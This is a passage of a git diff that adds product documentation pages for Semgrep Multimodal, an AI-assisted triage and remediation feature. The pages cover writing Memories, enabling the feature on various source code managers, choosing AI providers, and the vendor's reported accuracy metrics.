+Memories may affect PRs indirectly through remediation guidance. If general remediation guidance has been generated and includes information derived from memories, that guidance is passed into the PR generation process. However, memories themselves are not currently sent as direct input when generating the PR.
diff --git a/mintlify-docs/semgrep-multimodal/analyze.mdx b/mintlify-docs/semgrep-multimodal/analyze.mdx
new file mode 100644
index 0000000000..8bcd94375c
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/analyze.mdx
@@ -0,0 +1,67 @@
+---
+title: "Analyze Code findings"
+sidebarTitle: "Analyze Semgrep Code findings with Semgrep Multimodal"
+---
+
+
+Once you've [enabled Multimodal](/semgrep-multimodal/getting-started), you can use the **Analyze** button on the [Findings page](/semgrep-code/findings) to trigger all Multimodal functions for Semgrep Code, including Suggested fix, auto-triage, and component tagging, on existing findings.
+
+
+## Analyze your findings with Multimodal
+
+
+
+On the [Findings](https://semgrep.dev/orgs/-/findings?tab=open) page, select the findings that you want Multimodal to analyze.
+
+
+Click **Analyze**.
+
+
+In the confirmation dialog that appears, confirm that you want to analyze your findings with Multimodal.
+
+
+
+After Multimodal performs these functions, you can see its results on the **Code** page using the **Recommendation** or **Component** filters. When viewing your findings, you can see false positive and true positive recommendations in a finding's **Details** page.
+
+The amount of time required to analyze your findings varies. Before running the analysis, the confirmation dialog provides an estimated wait time.
+
+
+**INFO**
+
+- For Team tier users with less than 10 contributors: There is a cap of 50 Multimodal runs per month using the **Analyze** button.
+- For Team or Enterprise users with an active subscription: There is a cap of 10,000 Multimodal runs per month using the **Analyze** button. It is rate-limited to 1,000 Multimodal runs per hour.
+- For users of any tier: Multimodal runs against pull requests (PRs) and merge requests (MRs) do not count against this limit.
+
+
+
+## When Multimodal auto-analyzes findings
+
+Multimodal automatically analyzes new findings from a **full scan** that have **Critical** or **High** severity AND **High** or **Medium** confidence.
+
+On a diff-aware scan, Multimodal auto-analyzes up to a maximum 10 new findings, regardless of severity or confidence.
+
+
+**NOTE**
+
+Some findings created before November 2025 may not be auto-analyzed, even if they meet the criteria.
+
+
+### Request analysis for existing findings
+
+If you want Multimodal analyses for findings that weren't automatically analyzed, you can request them in bulk through Semgrep AppSec Platform. See the [Analyze your findings with Multimodal](/semgrep-multimodal/analyze#analyze-your-findings-with-multimodal) section for details.
+
+If you need assistance with bulk analysis requests or have questions about backfilling analyses for your findings, contact [Semgrep Support](/support).
+
+## View Multimodal recommendations
+
+You can [view all of Semgrep Multimodal's recommendations](/semgrep-code/findings/#filter-findings) by going to the Semgrep **Findings** page and filtering by **Recommendation** or **Component**.
+
+## Provide feedback on Multimodal recommendations
+
+Semgrep Multimodal prompts you for feedback whenever it suggests that a finding is a false positive. Because Multimodal content is generated by large language models (LLMs), your feedback helps the Semgrep team improve Multimodal.
+
+Semgrep Multimodal lets you leave feedback in the following places:
+
+* In Semgrep AppSec Platform: the Multimodal recommendation appears in Semgrep Code's **Finding Details** page under **Activity**, along with **Agree and ignore** or **Disagree** buttons.
+* In Slack notifications: the **Agree** and **Disagree** buttons appear under the Multimodal recommendation message.
+
diff --git a/mintlify-docs/semgrep-multimodal/best-practices-for-memories.mdx b/mintlify-docs/semgrep-multimodal/best-practices-for-memories.mdx
new file mode 100644
index 0000000000..5166f1e0f9
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/best-practices-for-memories.mdx
@@ -0,0 +1,152 @@
+---
+title: "Best practices for writing Memories"
+description: "This page covers various best practices for writing Memories."
+---
+
+
+## Voice and tone
+
+When writing Memories, aim to "talk" to Multimodal the way that you would talk to a new security intern:
+
+- Present and describe the information clearly.
+- Describe technical concepts as simply as possible.
+- Explain the consequences and outcomes of actions in detail.
+
+The following are two examples of well-written Memories:
+
+> When generating remediation for SQL injection issues, ensure that the SQL is compatible with BigQuery.
+
+> Data from Foo internal services, such as Bar and FooBar, are trusted sources for data flowing into the URL. These findings are false positives.
+
+## Purpose
+
+Before beginning, decide what the purpose of the Memory is: triage, remediation, or both.
+
+If the purpose of the Memory is to influence triage, you can provide a natural language description of the expected consequence:
+
+> This repository is a QA repository. All findings can be safely ignored due to these mitigating factors.
+
+If the goal is to influence Multimodal's remediation guidance, you can provide a natural language description of the recommendation:
+
+> As a standard, leverage the `Jsoup.clean()` function to sanitize input.
+
+Once you've decided on the purpose, this informs how you explain your expectations and desired outcomes to Multimodal.
+
+## Structure
+
+When writing a Memory, be sure to include as many of the following components as necessary:
+
+
+
+ The **conditions** that Multimodal should be looking for in the codebase, as well as any context Multimodal should consider when analyzing your codebase
+
+
+ **Guidance** as to how Multimodal identifies the conditions that you specified
+
+
+ The **implications** for triage and remediation if Multimodal identifies that the conditions you specify are present in your codebase
+
+
+
+### Example #1
+
+> Dockerfiles with image `foo` are designed to run as a non-root user and are an acceptable risk. All relevant findings are false positives.
+
+In the preceding Memory, you can see all three components present:
+
+
+
+ **Condition and context**: Dockerfiles with image `foo` are designed to run as non-root user.
+
+
+ **Guidance**: Look for Dockerfiles with image `foo`.
+
+
+ **Implication**: This is an acceptable risk, so the findings are flagged as false positives.
+
+
+
+### Example #2
+
+> Code that's flagged for missing cookie security attributes may be a false positive if the code's purpose is to delete or clear a cookie, since security attributes may not be necessary for immediate removal.
+
+In the preceding Memory, you can see all three components present:
+
+
+
+ **Condition and context**: There exists code whose purpose is to delete or clear a cookie, but security attributes may not be necessary for immediate removal of the cookie.
+
+
+ **Guidance**: Look for findings where the purpose of the code is to delete or clear a cookie and Semgrep's static analysis has flagged it for missing cookie security attributes.
+
+
+ **Implication**: Relevant findings should be flagged as false positives.
+
+
+
+## Additional considerations
+
+In addition to the voice and tone of the Memory, its purpose, and its structure, consider the following when writing your Memory.
+
+### Write Memories that are general in nature
+
+Avoid writing Memories that don't generalize beyond the original finding. For example, the following Memory is specific to a finding:
+
+> Interpolated value does not involve user input.
+
+You can generalize this to:
+
+> Interpolated values that are program constants aren't considered dangerous.
+
+Another example of a highly specific Memory is:
+
+> The function is called through generated methods, making it unreachable in this use case.
+
+You can generalize this to:
+
+> Functions called through generated methods from framework X or methods that look like Y are safe.
+
+### State all implications and be clear on what the consequences of something are
+
+When writing the Memory, be clear about the implications and consequences are for Multimodal.
+
+In the following example, the Memory states a fact, but leaves the implication unstated:
+
+> The function `generateDevSecret` is used to create development secrets.
+
+The leaking of development secrets might not be a problem, but it's also possible that leaking development secrets is as big a security issue as leaking production secrets.
+
+For some organizations, development secrets are just as powerful as production secrets. For other organizations, development secrets are ephemeral, and it's not a major issue if they're leaked. As such, it's essential to rewrite the Memory with the implication stated to help Multimodal analyze a finding:
+
+> Secrets created by the `generateDevSecret` function are considered development secrets and pose a security risk.
+
+### Understand the context available to Multimodal
+
+When Multimodal analyzes a finding, it has the following contextual information available:
+
+- The Semgrep rule
+- The code matched by the Semgrep rule
+- Multiple lines of code surrounding the finding
+- Examples from an AppSec knowledge base
+- Memories that you have written
+- Prior fixes for similar issues
+
+Multimodal does not have access to any other information for use during analysis. For example, the following Memory is ineffective:
+
+> Please provide an alternative solution for the validator.
+
+Multimodal isn't going to use past remediation advice in a prompt, so the preceding Memory likely results in Multimodal hallucinating. In this case, if you want Multimodal to avoid using a specific validator, you can specify this:
+
+> Fixes should be generated with an alternative to the validation library X.
+
+One common issue is the use of links in memories. Multimodal cannot access links, and therefore it cannot read the information that's behind the link. Instead, provide the information at the link to Multimodal explicitly:
+
+> Recommend a fix similar to this code: `Sample code...`
+
+Another common issue is assuming that Multimodal has access to context that it doesn't actually have. For example,
+
+> API key from a forked repository poses no security risk.
+
+It's difficult to determine programmatically if a repository is forked, and Multimodal cannot use this information when analyzing a finding. Instead, specify the repositories that you've forked:
+
+> Repositories X, Y, and Z are forked. API keys in forked repositories should be triaged as false positives.
diff --git a/mintlify-docs/semgrep-multimodal/customize.mdx b/mintlify-docs/semgrep-multimodal/customize.mdx
new file mode 100644
index 0000000000..2cedfe57ec
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/customize.mdx
@@ -0,0 +1,301 @@
+---
+title: "Customize Semgrep Multimodal"
+description: "You can customize Semgrep Multimodal by enabling and using the features detailed on this page."
+---
+
+## Remediation
+
+Multimodal **Suggested fix** allows you to receive AI-generated code snippets for true positives. Perform the following to enable it:
+
+
+
+ Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Code**.
+
+
+ Click the **Suggested fix** toggle to enable this feature.
+
+
+ *Optional*: Select a **confidence level** in the drop-down box. This value determines the quality of Suggested fix. For example, if you select lower confidence, Semgrep Multimodal suggests a fix even when the code quality is poor.
+
+
+
+
+**TIP**
+
+Semgrep recommends setting a low confidence level since even incorrect suggestions may be useful starting points for triage and remediation.
+
+
+## Weekly priority emails
+
+[Weekly priority emails](/semgrep-multimodal/overview/#weekly-priority-emails) allows organization admins to receive information on top backlog tasks according to Multimodal. If this feature isn't enabled for your deployment, you can do so as follows:
+
+
+
+ Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Global**.
+
+
+ Click the **Weekly priority emails** if it is not yet enabled.
+
+
+
+## Noise filtering
+
+Multimodal is [over 95% accurate in categorizing Semgrep Code findings as false positives](/semgrep-multimodal/metrics.md), so you can minimize the number of findings shown by enabling **Noise filter for Code PR/MR comments**. To do so:
+
+
+
+ Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Code**.
+
+
+ Click the **Noise filter for Code PR/MR comments** if it is not yet enabled.
+
+
+ Select whether you want to enable PR or MR comments:
+ 1. **Don’t leave a PR/MR comment**: Hide Semgrep’s comments on findings that are likely to be false positives. These findings are available for security review on the [**Code > Pre-production backlog** page](https://semgrep.dev/orgs/-/findings?tab=open&last_opened=All+time&backlog=preprod). Comments still appear for rules in [**Block** mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes).
+ 2. **Include a notification in the PR/MR comment**: Show developers likely false positive findings in PR/MR comments, but include a note explaining why Multimodal thinks the finding may be safe to ignore.
+
+
+
+Findings filtered out by Multimodal can be reviewed at any time in Semgrep by going to the [**Code > Pre-production backlog** page](https://semgrep.dev/orgs/-/findings?tab=open&last_opened=All+time&backlog=preprod). Semgrep also allows you to agree with the filtering to close the finding or disagree to reopen.
+
+## Add Memories
+
+Memories allow admins to tailor Multimodal's remediation guidance to their organization's standards and defaults. You can provide feedback by adding custom instructions whenever Multimodal gives a suggested fix.
+
+Memories are enabled by default for all organizations with Multimodal enabled.
+
+### Add a memory
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Navigate to [ **Rules & Policies > Memories**](https://semgrep.dev/orgs/-/memories).
+
+
+ Click **New Memory**.
+
+
+ In **Memory**, enter your preferred remediation approach and secure default.
+
+
+ Select the **Projects** and the **Rules** to which the memory should be applied.
+ 1. Choose **All projects** or any specific project.
+ 1. Choose **All rules**, or search for and select a specific rule or a general vulnerability class. Selecting a vulnerability class means the memory applies to *all* rules with that vulnerability class.
+
+
+ Click **Add memory** to save your changes and proceed.
+
+
+
+See [Best practices for writing Memories](/semgrep-multimodal/best-practices-for-memories) for information on writing effective memories.
+
+### Add a memory based on Multimodal's suggested fix
+
+To add a memory based on a suggested fix presented by Multimodal:
+
+
+
+ Identify the specific instance of **Multimodal's suggested fix** that you want to modify. These can be found on the finding details page or in the PR or MR comment.
+ - If Multimodal used existing memories to generate the guidance, you can click on **Referenced X memories while writing this guidance** to see the memories used.
+
+
+ Click **Customize fix** to open an input box, and enter your preferred remediation approaches and secure defaults for the project. Your suggestion can be as general as "Use X library to sanitize SQL queries."
+
+
+ Click **Save and regenerate**.
+
+
+ Multimodal regenerates the suggested fix to reflect the instructions you provided.
+
+
+
+Memories are scoped to remediation guidance on a per-project, per-vulnerability class, or per-rule basis. A saved memory only affects future guidance for findings triggered by the same rule in the same project.
+
+### Add memory during triage and receive memory suggestions from Multimodal
+
+When you identify findings that are safe to ignore and provide reasoning for your actions, Semgrep Multimodal can use this triage feedback to suggest memories. It can start suggesting memories from the very first triage feedback it receives, or it may suggest memories from multiple pieces of feedback, depending on the level of detail in the feedback and the finding's unique context. If Multimodal creates a new memory, it will use the memory to assess if similar findings are safe to ignore and hide from developers.
+
+To triage and create a memory (Semgrep automatically attempts to create a memory during triage if possible):
+
+
+
+ Identify the specific finding you want to modify, and open up its finding details page.
+
+
+ Click **Ignore**, select an **Ignore reason**, and provide **Comments** on why you're triaging the finding as **Ignore**.
+
+
+ Click **Ignore**. Multimodal attempts to create a memory using the information you provide. If Multimodal successfully creates a memory for you, you'll see a link to the list of memories for your organization in the dialog that appears.
+
+
+
+Permissions:
+
+- Automatic generation of memories: if you are an **admin** user, Multimodal tries to generate **active** memories from your triage feedback.
+- If you are a non-admin user, such as a manager, Multimodal creates a **suggested** memory that needs an admin to activate it.
+
+### View and edit memories
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Navigate to [ **Rules & Policies > Memories**](https://semgrep.dev/orgs/-/memories).
+
+
+
+There are two tabs on the **Memories** page for your review:
+
+- The **Active** tab displays a list of memories that Multimodal is actively using to generate triage advice
+- The **Suggested** tab displays a list of memories Multimodal has generated based on past triage actions and developer feedback. For each suggestion, you can:
+ - Activate the suggested memory to inform Multimodal's advice on current and future findings
+ - Edit the memory, then activate it
+ - Delete the suggested memory
+
+Only users assigned the `admin` role in Semgrep can activate suggested memories.
+
+### Remove memories
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Navigate to [**Rules * Policies > Memories**](https://semgrep.dev/orgs/-/memories).
+
+
+ Identify the memory you would like to delete, then click the **icon** to remove the memory.
+
+
+
+## Select your AI provider
+
+By default, Semgrep Multimodal uses OpenAI and AWS Bedrock with Semgrep's API keys.
+
+Semgrep evaluates available models from multiple providers and selects the most performant option for each Multimodal feature, based on the providers enabled for your organization. For optimal results, keep both OpenAI and AWS Bedrock enabled. Enabling additional model providers can further improve performance.
+
+You can opt to:
+
+- Use OpenAI with your own API key
+- Use your own AWS Bedrock account
+- Use Azure OpenAI
+- Use Google Gemini.
+- Use xAI.
+
+### OpenAI API with your own key
+
+If you want complete control over how OpenAI handles your data, you can use your OpenAI API key instead of Semgrep's. To provide your OpenAI API key:
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
+
+
+ Click the **icon** next to **AI provider**.
+
+
+ Select **Your OpenAI API key**, and provide your API key.
+
+
+
+Click **Save** to proceed.
+
+By switching from Semgrep's key to your key, note that you lose access to the following:
+
+- Semgrep’s fine-tuned models that can increase the quality of results.
+- Semgrep's [Zero Data Retention agreement](/semgrep-multimodal/privacy) that prevents OpenAI from saving input or output data.
+- Semgrep paying for the cost of your AI usage.
+
+### Your own AWS Bedrock account
+
+If you want to keep all data within your AWS account, you can use your own AWS Bedrock instance:
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
+
+
+ Click the **icon** next to **AI provider**.
+
+
+ Select **AWS Bedrock** then **Your AWS account**
+
+
+ Provide your AWS IAM role details.
+
+
+
+Note that the IAM role that is being used must have access to the **AmazonBedrockLimitedAccess** AWS IAM Permissions preset.
+
+Semgrep constantly evaluates new models for Multimodal features and frequently swaps out requested models, so it is recommended to always have the most recent models in Bedrock enabled. Currently, Multimodal is using the model ARN `us.anthropic.claude-sonnet-4-20250514-v1:0`
+
+### Azure OpenAI
+
+To use Azure OpenAI with Semgrep Multimodal, you must retrieve the endpoint URL and API key for your model from Azure, then provide it to Semgrep.
+
+1. To retrieve the endpoint URL and API key from Azure:
+ 1. Log in to Azure OpenAI Studio.
+ 2. Navigate to **Deployments**, and select the deployment you want to use.
+ 3. In **Endpoint**, find and copy both the **Target URI** and the **API key**. You will provide both values to Semgrep.
+2. To configure Semgrep to use Azure OpenAI:
+ 1. Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [**Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
+ 2. Click the **icon** next to **AI provider**.
+ 3. Select **Azure OpenAI**.
+ 4. Paste the **Target URI** you copied from Azure into **Your Azure OpenAI Endpoint**.
+ 5. Paste the API key you copied from Azure into **Your Azure OpenAI API key**.
+ 6. Click **Save** to proceed.
+
+
+**NOTE**
+
+As of May 2025, the best model for noise filtering is `o3-mini`, which performs better than `o4-mini`. The best model for other Semgrep Multimodal features is `gpt-4.1`. You cannot have multiple Azure OpenAI models active at a given time, but you can switch to a different one by repeating these configuration steps using the Target URI and API key for the new model.
+
+
+### Google Gemini
+
+To use Google Gemini with Semgrep Multimodal:
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
+
+
+ Click the **icon** next to **AI provider**.
+
+
+ Select **Google Gemini**.
+
+
+ Paste in your API key.
+
+
+ Click **Save** to proceed.
+
+
+
+> Semgrep Multimodal only supports Google Gemini with Google AI Studio, not Vertex AI.
+
+### xAI
+
+To use xAI with Semgrep Multimodal, you must retrieve the endpoint URL and API key from xAI, then provide it to Semgrep.
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
+
+
+ Click the **icon** next to **AI provider**.
+
+
+ Select **xAI**.
+
+
+ Paste in your API key and API endpoint.
+
+
+ Click **Save** to proceed.
+
+
diff --git a/mintlify-docs/semgrep-multimodal/getting-started.mdx b/mintlify-docs/semgrep-multimodal/getting-started.mdx
new file mode 100644
index 0000000000..7b7dfb7c36
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/getting-started.mdx
@@ -0,0 +1,164 @@
+---
+title: "Enable Semgrep Multimodal"
+description: "Semgrep Multimodal extends standard Semgrep capabilities by providing contextually aware AI-powered vulnerability detection and remediation suggestions."
+---
+
+This article walks you through enabling Semgrep Multimodal for your deployment.
+
+
+**PREREQUISITES**
+
+* You have completed a [Semgrep core deployment](/deployment/core-deployment).
+* You have set rules to **Comment** or **Block** mode in your [ Policies page](https://semgrep.dev/orgs/-/policies).
+
+
+
+
+
+Building context for Semgrep Multimodal requires Azure DevOps permissions, specifically code access granted through an access token you generate through Azure DevOps. Ensure that the token has the following scopes:
+
+- `Code: Read & write`
+- `Pull Request Threads: Read & write`
+
+You can provide this token to Semgrep by adding [Azure DevOps as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
+
+Semgrep recommends using a service account, not a personal account, to [generate the personal access token](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) provided to Semgrep. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization.
+
+### Enable Multimodal
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
+
+
+The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
+
+
+
+After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
+- **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
+- **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
+- **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
+- **[Suggested fix](/semgrep-multimodal/customize#remediation)**: Enable Multimodal-generated autofix suggestions in PR and MR comments. You can also set a minimum confidence threshold for AI-generated fixes when a rule does not include a human-authored autofix.
+
+
+
+
+
+
+
+Building context for Semgrep Multimodal requires additional Bitbucket permissions, specifically code access granted through an access token you generate through Bitbucket. Your token must be a [Workspace Access Token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/), which are available to users with a Bitbucket Cloud Premium plan or higher. The token must have the following scopes:
+
+- `Projects: Read`
+- `Repositories: Read`
+- `Pull requests: Read & Write`
+- `Webhooks: Read and write`
+
+You can provide this token to Semgrep by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
+
+### Enable Multimodal
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
+
+
+The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
+
+
+
+After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
+- **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
+- **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
+- **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
+- **[Suggested fix](/semgrep-multimodal/customize#remediation)**: Enable Multimodal-generated autofix suggestions in PR and MR comments. You can also set a minimum confidence threshold for AI-generated fixes when a rule does not include a human-authored autofix.
+
+
+
+
+
+
+In addition to the
+[ standard permissions required for Semgrep](/deployment/checklist/#permissions), Semgrep Multimodal requires [read access to your code in GitHub](https://docs.github.com/en/rest/overview/permissions-required-for-github-apps?apiVersion=2022-11-28). This is done through a **private Semgrep GitHub app** that you install.
+
+
+The private Semgrep GitHub app:
+
+* Is fully under your control so you can revoke access or specific permissions at any time by visiting **Settings > Applications** in GitHub.
+* Only accesses source code repositories on a file-by-file basis; it does not need or request org-level access to your codebase.
+* Can be configured to limit its scope to specific repositories. You do not need to give read access to all repositories in your GitHub organization.
+
+To verify that you have the private app installed:
+
+1. In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > Source Code Managers**.
+2. Find the entry for GitHub. If you have the **Private app** installed, Semgrep displays a message underneath this label that reads **Enables Autotriage, Managed Scans, and Auto-scan**.
+3. If you *don't* have the **Private app** installed, the **Install** button is shown to you. To install the private app:
+ 1. Click **Install** to launch the **Add GitHub App** page.
+ 2. Review the information provided, and click **Register GitHub App** to proceed.
+ 3. The **Continue to SCM** dialog appears, since you must finish installing the app with GitHub. Click **Continue** to proceed.
+ 4. Follow the prompts provided by GitHub to finish creating the app.
+ 5. When done, GitHub redirects you back to Semgrep AppSec Platform.
+
+### Enable Multimodal
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **[Settings > Global](https://semgrep.dev/orgs/-/settings/general/global)**, and click the **Semgrep Multimodal** toggle to enable.
+
+
+The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
+
+
+
+
+After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
+- **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
+- **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
+- **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
+- **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
+- **[Suggested fix](/semgrep-multimodal/customize#remediation)**: Enable Multimodal-generated autofix suggestions in PR and MR comments. You can also set a minimum confidence threshold for AI-generated fixes when a rule does not include a human-authored autofix.
+- **[Upgrade Guidance & Autofix](/semgrep-supply-chain/triage-and-remediation#upgrade-guidance-and-autofix-beta)**: Analyze dependency upgrades for potential breaking changes. When enabled, Semgrep displays indicators for safe upgrades and potential breaking changes in Supply Chain findings.
+
+
+
+
+
+To build context for Semgrep Multimodal, you must provide either a [project access token](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html) or [personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with the **API scope**.
+
+* You can revoke [project access tokens](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#revoke-a-project-access-token) or [personal access tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#revoke-a-personal-access-token) at any time.
+* Semgrep Multimodal only accesses source code repositories (projects) on a file-by-file basis; it does not need or request org-level access to your codebase.
+* The token can be configured to limit its scope to specific projects or individuals. You do not need to give read access to all projects in your GitLab organization.
+
+## Enable Multimodal
+
+
+
+Sign in to [Semgrep AppSec Platform ](https://semgrep.dev/login) using your GitLab account.
+
+
+Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
+
+
+The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
+
+
+
+After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
+- **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
+- **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
+- **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
+- **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
+- **[Suggested fix](/semgrep-multimodal/customize#remediation)**: Enable Multimodal-generated autofix suggestions in PR and MR comments. You can also set a minimum confidence threshold for AI-generated fixes when a rule does not include a human-authored autofix.
+- **[Upgrade Guidance & Autofix](/semgrep-supply-chain/triage-and-remediation#upgrade-guidance-and-autofix-beta)**: Analyze dependency upgrades for potential breaking changes. When enabled, Semgrep displays indicators for safe upgrades and potential breaking changes in Supply Chain findings.
+
+
+
diff --git a/mintlify-docs/semgrep-multimodal/metrics.mdx b/mintlify-docs/semgrep-multimodal/metrics.mdx
new file mode 100644
index 0000000000..768841c8bd
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/metrics.mdx
@@ -0,0 +1,47 @@
+---
+title: "Semgrep Multimodal metrics and methodology"
+description: "Metrics for evaluating Semgrep Multimodal's performance are derived from two sources:"
+sidebarTitle: "Metrics and methodology"
+---
+
+- **User feedback** on Multimodal recommendations within the product
+- **Internal triage and benchmarking** conducted by Semgrep's security research team
+
+This methodology ensures that Multimodal is evaluated from both user and expert perspectives. This gives Semgrep's product and engineering teams a holistic view into Multimodal's real-world performance. 1
+
+## User feedback
+
+User feedback shows the aggregated and anonymized performance of Multimodal across **more than 1000 customers**, providing a comprehensive **real-world dataset**.
+
+Users are prompted in-line to "thumbs up" or "thumbs down" Multimodal suggestions as they receive Multimodal suggestions in their PR or MR. This ensures that sampling bias is reduced, as both developers and AppSec engineers can provide feedback.
+
+**Results as of Aug 21, 2025:**
+
+| Measure | Value |
+| :--- | :--- |
+| Customers in dataset | **3500+** |
+| Findings analyzed | **6,500,000+** |
+| Average reduction in findings 2 | **60%** |
+| Human-agree rate | **96%** |
+| Median time to resolution | **22% faster than baseline** |
+| Average time saved per finding | **30 minutes** |
+
+## Internal benchmarks
+
+Internal benchmarks for Multimodal use a process in which a rotating team of security engineers conduct periodic reviews of findings and their Multimodal generated triage recommendations or remediation guidance. This is the same process used to evaluate Semgrep's SAST engine and rule performance.
+
+Internal benchmarks for Multimodal run on the same dataset used by Semgrep's security research team to analyze Semgrep rule performance. This means the dataset is not prone to cherry-picked findings that are easier for AI to analyze, and accurately represents real-world performance across a variety of contexts.
+
+| Measure | Value |
+| :--- | :--- |
+| Findings analyzed | **2000+** |
+| False positive confidence rate3 | **96%** |
+| Remediation guidance confidence rate4 | **80%** |
+
+1. Learn more about how Semgrep achieved these numbers in [How we built an AppSec AI that security researchers agree with 96% of the time](https://semgrep.dev/blog/2025/building-an-appsec-ai-that-security-researchers-agree-with-96-of-the-time/).
+
+2. The average % of SAST findings that Multimodal filters out as noise.
+
+3. False positive confidence rate measures how often Multimodal is correct when it identifies a false positive. **A high confidence rate means users can trust when Multimodal identifies a false positive - it does not mean that Multimodal catches all false positives.**
+
+4. Remediation guidance is rated on a binary scale of "helpful" / "not helpful".
diff --git a/mintlify-docs/semgrep-multimodal/overview.mdx b/mintlify-docs/semgrep-multimodal/overview.mdx
new file mode 100644
index 0000000000..61212c8187
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/overview.mdx
@@ -0,0 +1,133 @@
+---
+title: "Semgrep Multimodal overview"
+description: "Semgrep Multimodal adds AI-driven capabilities to Semgrep, including AI-powered detection, triage, and remediation of your findings."
+---
+
+## Support and availability
+
+Semgrep Multimodal:
+
+- Primarily supports findings generated by Semgrep Code
+- Supports [the same languages as Semgrep Code](/supported-languages)
+- Requires the Semgrep AppSec Platform
+
+See the [list of supported source code managers](/getting-started/scm-support).
+
+### Automatic analysis
+
